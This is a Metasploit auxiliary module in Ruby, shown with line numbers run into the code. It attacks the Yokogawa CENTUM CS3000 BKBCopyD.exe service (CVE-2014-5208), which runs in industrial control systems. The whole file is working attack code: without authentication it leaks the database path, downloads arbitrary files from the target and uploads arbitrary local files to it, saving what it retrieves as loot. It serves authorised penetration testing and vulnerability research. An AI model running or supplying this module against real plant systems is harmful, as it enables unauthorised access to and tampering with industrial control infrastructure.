Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/scada/yokogawa_bkbcopyd_client.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Exploit::Remote::TcpServer8include Msf::Auxiliary::Report910def initialize(info = {})11super(update_info(info,12'Name' => 'Yokogawa BKBCopyD.exe Client',13'Description' => %q{14This module allows an unauthenticated user to interact with the Yokogawa15CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR16operations.17},18'Author' =>19[ 'Unknown' ],20'References' =>21[22[ 'CVE', '2014-5208' ],23[ 'URL', 'https://www.rapid7.com/blog/post/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access']24],25'Actions' =>26[27['PMODE', { 'Description' => 'Leak the current database' }],28['RETR', { 'Description' => 'Retrieve remote file' }],29['STOR', { 'Description' => 'Store remote file' }]30],31'DisclosureDate' => '2014-08-09'))3233register_options(34[35Opt::RPORT(20111),36OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]),37OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])38])39end4041def srvport42@srvport43end4445def run46exploit47end4849def exploit50@srvport = rand(1024..65535)51print_status("#{@srvport}")52# We make the client connection before giving control to the TCP Server53# in order to release the src port, so the server can start correctly5455case action.name56when 'PMODE'57print_status("Sending PMODE packet...")58data = "PMODE MR_DBPATH\n"59res = send_pkt(data)60if res and res =~ /^210/61print_good("Success: #{res}")62else63print_error("Failed...")64end65return66when 'RETR'67data = "RETR #{datastore['RPATH']}\n"68print_status("Sending RETR packet...")69res = send_pkt(data)70return unless res and res =~ /^150/71when 'STOR'72data = "STOR #{datastore['RPATH']}\n"73print_status("Sending STOR packet...")74res = send_pkt(data)75return unless res and res =~ /^150/76else77print_error("Incorrect action")78return79end8081super # TCPServer :)82end8384def send_pkt(data)85connect(true, {'CPORT' => @srvport})86sock.put(data)87data = sock.get_once88disconnect8990return data91end9293def on_client_connect(c)94if action.name == 'STOR'95contents = ""96File.new(datastore['LPATH'], "rb") { |f| contents = f.read }97print_status("#{c.peerhost} - Sending data...")98c.put(contents)99self.service.close100self.service.stop101end102end103104def on_client_data(c)105print_status("#{c.peerhost} - Getting data...")106data = c.get_once107return unless data108if @store_path.blank?109@store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH'])110print_good("#{@store_path} saved!")111else112File.open(@store_path, "ab") { |f| f.write(data) }113print_good("More data on #{@store_path}")114end115end116117def on_client_close(c)118cleanup_service119end120end121122123124